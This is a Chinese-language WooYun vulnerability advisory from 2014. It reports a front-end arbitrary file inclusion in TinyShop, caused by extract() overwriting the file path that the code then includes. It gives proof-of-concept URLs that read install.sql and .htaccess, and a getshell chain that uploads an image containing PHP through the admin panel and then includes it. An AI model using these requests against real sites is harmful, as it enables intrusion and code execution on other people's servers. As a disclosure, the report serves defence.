当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080578

漏洞标题:TinyRise最新版前台任意文件包含漏洞

相关厂商:tinyrise.com

漏洞作者: Random

提交时间:2014-10-24 13:14

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:文件包含

危害等级:高

自评Rank:18

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-24: 细节已通知厂商并且等待厂商处理中
2014-10-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-19: 细节向核心白帽子及相关领域专家公开
2014-12-29: 细节向普通白帽子公开
2015-01-08: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

TinyRise最新版(20140926)任意文件包含漏洞,一定条件下,可getshell

详细说明:

漏洞发生在framework/web/controller/Controller_class.php文件的renderExecute函数:
renderExecute函数存在extract变量覆盖,关键代码如下:

public function renderExecute($__runfile0123456789,$__data0123456789)
{
...//省略无关代码
if($__datas0123456789!==null)
{
extract($__datas0123456789);
unset($__datas0123456789,$__data0123456789);//防止干扰视图里的变量内容,同时防止无端过滤掉用户定义的变量(除非用户定义__data0123456789的变量)
}
header("Content-type: text/html; charset=".$this->encoding);
ob_start();
include ($__runfile0123456789);

执行extract($__datas0123456789);后再执行include ($__runfile0123456789);因此可覆盖$__runfile0123456789参数,导致前台任意文件包含;同时可在后台上传包含php代码的图片,实现getshell

漏洞证明:

下载最新版:http://www.tinyrise.com/downloads/tinyshopv1.1_data.zip
本地测试:
[前台文件包含]
http://127.0.0.1/tinyshop/index.php?__runfile0123456789=install\data\install.sql

捕获.PNG

http://127.0.0.1/tinyshop/index.php?__runfile0123456789=.htaccess

111.PNG


[后台getshell]
登录后台,添加商品处上传一张含有php代码的图片

1111.PNG


上传图片后,获取图片路径/data/uploads/2014/10/24/c45e1e31a11bb9f6c7f5348d24b692b1.jpg
文件包含执行代码:
http://127.0.0.1/tinyshop/index.php?__runfile0123456789=/data/uploads/2014/10/24/c45e1e31a11bb9f6c7f5348d24b692b1.jpg

222.PNG


修复方案:

extract不可覆盖原有变量

版权声明:转载请注明来源 Random@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

非常感谢您为TinyShop信息安全做的贡献,此问题已经360库带较早反馈,不过仍然感谢你的支持。

最新状态:

暂无